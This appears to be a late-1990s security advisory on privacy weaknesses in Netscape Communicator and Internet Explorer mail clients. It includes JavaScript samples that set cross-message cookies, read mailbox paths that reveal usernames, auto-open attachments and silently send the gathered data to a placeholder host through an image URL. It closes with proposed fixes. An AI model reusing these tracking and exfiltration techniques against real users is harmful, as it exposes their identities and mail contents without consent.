Weaknesses in some Browser's Privacy Scheme

by Gioacchino La Vecchia and Claudio Telmon
gio@link.it, claudio@link.it

Abstract: while inspecting some features of Netscape Communicator 4.5 for Linux and Windows we found some weaknesses in how user's privacy is protected; these weaknesses permit to gather information on user's environment through mail messages, even if received via mailing lists or some anonymizing systems and proxies. Some of our finding are also valid for Internet Explorer 4.01, altrough we didn't check that browser as carefully as Communicator. We didn't also check older releases of both browsers.
Exploits are just an example of the dangers of the vulnerability. We don't want by any way to be exaustive on this topic ;)
 

Description of weaknesses

1. Setting cookies with mail messages

Description

What we first found was how easily cookies can be set by a piece of Javascript code in a mail message. This simple message body sets a cookie on the reader's system:
 
function SetCookie (name, value, expdate) {
  document.cookie = "Kerby" + name.substring(2,6) + "=" + escape (value) +
    "; expires=" + expdate.toGMTString();
}

The cookie is set with a void domain. Path is also void unless explicitely set. That is, there is no information in the cookie linking it to it's source message, or to the sender's address or domain.
These cookies can be read by any Javascript code in subsequent mail messages, as shown by this code:
 
 
function getCookieVal (offset) {
  var endstr = document.cookie.indexOf (";", offset);
  if (endstr == -1)
    endstr = document.cookie.length;
  return unescape(document.cookie.substring(offset, endstr));
}
function GetCookie (name) {
  var arg = name + "=";
  var alen = arg.length;
  var clen = document.cookie.length;
  var i = 0;
  while (i < clen) {
    var j = i + alen;
    if (document.cookie.substring(i, j) == arg)
      return getCookieVal (j);
    i = document.cookie.indexOf(" ", i) + 1;
    if (i == 0) break; 
  }
  return null;
}

 

One preference that a user can set in Communicator is "Only accept cookies originating from the same server as the page being viewed"; setting this property does not protect against cookies originating from mail messages, since all these cookies share the same (void) "server".
 

Vulnerable browsers

Both Netscape Communicator 4.5 and Internet Explorer 4.01 exibit this behaviour.

Discussion

When received by a Web server, a cookie owns some properties that limit it's availability to other servers. This is due to the requirement to limit the ability of sites to map user's navigation history and preferences.
This does not hold when cookies are received via mail. That is, it is fairly easy to map user's "mail history": mailing list subscriptions, previous advertisement messages, etc. These cookies can't be sent to Web servers, but their name and value can be used to buid a URL, so in fact their information can be disclosed to remote servers.

Exploits

Suppose you want to "cross-reference" the users of two mailing lists: all you need to do is to send a message on the first mailing list wich sets a cookie with value "1". The cookie will be available for any message of the second mailing list, that can do thing like:

2. Gathering sensitive information

The second step was gathering some sensitive information from the user's browser. This information can be put in the cookie or sent to a web site. An available value is location.href. This value is void when set from a mail message. However, if the message or an attachment is opened in a new browser window, the value is set to the path of the message, that is someting like:
mailbox:/path/data
where path is the "path" of the mailbox and "data" contains some information bound to the message and the mailbox. The path also gives usually some useful information: on Windows systems it is something like: C:\windows\temp\, on Linux (and possibly other Unix-like) it's someting like: /home/<username>/nsmail/<folder>. This gives you both the username and the system type.

Vulnerable browsers

Both Netscape Communicator and Internet Explorer disclose the path information. However, the path information disclosed by Internet Explorer is less sensitive.

Discussion

This is probably a bug, since path information should not be available to javascript code. It's also the worst problem we found in this research, since it can disclose the actual e-mail address of the user, passing through anonymizers, forwarders and firewalls. This is acheived if the username can be bound to a domain or IP address, i.e. if the page connects to a hostile web server.  The use of a proxy can avoid this problem in some situations. Be it used with targeted messages or spam, it's a powerful tools for real e-mail addresses collection. If the address is set in a cookie, it will be available for every subsequent message, no matter who the sender is, without requiring to use the same trick of opening a different window. If encoded, the e-mail address can be difficult to recognize even if the cookie file is opened for inspection.

Exploits

Many are obvious, examples aren't probably needed.

3. Opening the window with the attachment

The previous step requires the message body to be opened in a new window.  Since a user wouldn't in many cases open a new window to see a message or an attachment (i.e. in a spam message), the message can do it himself:
 
 
<script language="JavaScript">
<!--
function clickit() {
  document.kerby1.submit();
}
//-->
</script>
<body onLoad="click()">
<A HREF="cid:kerby1.html">ciao</A>
<P>
<FORM NAME="kerby1" ACTION="cid:kerby1.html" METHOD="post" TARGET="_blank">
<INPUT TYPE="hidden" NAME="Kerb" VALUE="">
</FORM>
</body>

The trick is the "cid:" that refers to a part of the multipart mime message himself.
Let's take a look a little close to the information we're been able to gather in such a way:
 
mailbox:PATHTOHOME/gio/nsmail/PATHTOFOLDER?\
   id=MAILID%40DOMAIN&number=OFFSET&part=1.2

where:

  • PATHTOHOME is the real path of the user's home, it could be /home or /opt/home etc..
  • PATHTOFOLDER is the real path of the mailbox, it could contain information, just think to a path as personal.sbd/contacts.sbd/ACMEWORKS where ACMEWORKS is the worst competitor of your boss :-)
  • OFFSET is the offset of the message in the mailbox, in bytes.

Vulnerable browsers

Communicator because of his cid:

Discussion

This is probably more an undocumented feature than a bug. We found cid just in some technical articles. We include it here mainly because it's interesting and it's required for a useful exploit of the previous bug.

Exploits

This feature can be use for a denial of service based on recursive openig of windows. This isn't probably an issue, since other methods can be easily used.

4. Sending sensitive information without cookies or windows

Cookies can be useful to pass information between mail messages, but can be refused or detected by the user. If the need is just to send the sensitive information to a web site, maybe a less detectable way can be useful. Moreover, opening a window can be suspect, so it's probably better to avoid it at all. This code does exactly this:
 
 
<script language="JavaScript">
<!--
function swapImage() {
 document.kerbimg.src="http://some.host1/"+document.kerby1.action;
}
//-->
</script>
<body onLoad="swapImage()">
ciao<P>
<FORM NAME="kerby1" ACTION="cid:kerby1.html" METHOD="post" TARGET="_blank">
 <INPUT TYPE="hidden" NAME="Kerb" VALUE="">
</FORM>
<IMG NAME="kerbimg" SRC="http://some.host/">
</body>

 

It sends the information embedded in the URL of an embedded image and doesn't open any window, since the information is gathered from the form (which btw. doesn't give any warning since the action is not performed).

Vulnerable browsers

We didn't test it on Explorer.

Discussion

This code exposes two waeknesses. The first one is a consequence of the already discussed ones, that is sending sensitive information without the user being able to avoid it. The second one is however the most important one: while form actions under certain conditions (specificare) can't be performed without user's approval or explicit action, the informations are available in the page for different handling and, in this case, for different ways of submission.

Exploits

This  piece of code can send sensitive information whitout user's notice and without the user being able to avoid it. It can be used to send to a hostile server any sensitive information collected by other means.
 

5. Gathering sensitive informations from links inside e-mails

When displayed an e-mail message shows a list of links corresponding to a subset of the headers of the message.
Sender, Message-ID, From, To and References fields are shown as links. A Javascript hostile code is able to grab these links's values pack and deliver them to an attacker. Some of these links's values are not always accessible (their value is foo when Communicator adds the addbook:), but in some cases they can be accessed. One is this URL:

wysiwyg://0/mailbox:/PATH/MAILBOX?number=OFFSET

where the mailbox is the current mailbox.

Note that the mailbox can be easily gathered using one of the previous bugs (or the default Inbox can be tried). The offset=2 points to the first message inserted in the mailbox. Trying to access other messages with tentative offsets always crashed Communicator, but if the correct offset of a message (or its id) can be found, the URL works.

Vulnerable browser

These vulnerabilities have been tested on Netscape Messenger.

Discussion

This vulnerability lets potentially everyone browse your mailboxes and get as many informations he needs about people you
are exchanging message with. Not less important this is an easy way to discover real mail addresses of people who stay
behind a Firewall.
 
 
addrnumb=document.links.length
list=""
for ( i = 0; i <addrnumb; i++) {
   list+=document.links[i]
}

6. Comments and proposed solutions

More information?

We focused on the location.href or URL of the message, since this information is available and sensitive. We didn't carefully look for other available information, in Communicator o Internet Explorer. There can be more to be found.

The cookie problem

It's not clear to us if setting cookies with mail messages is correct and useful; it's probably better to be able to disable :) this feature with a specific option (the way javascript in mail messages can be now separately disabled). The biggest problem is however that there is no server information. Setting this information to the sender address could be a solution, but the sender of a message can be trivially forged. Cookies set by mail messages should be probably protected as sensitive information, that is no information derived from them sould be sent over the Internet

URL information

The URL of a mail message contains sensitive information (in both Communicator and Internet Explorer it contains at least a path). The availability of this information to javascript code is probably just a bug that needs to be corrected.

Form information

Document Object Model shoul avoid to gather local system informations. We never expect to find local system informations or
real user names in a value set by the browser.

Link information

This is very sensitive information. Access to this information probably exposes an implementation bug and not a design failure.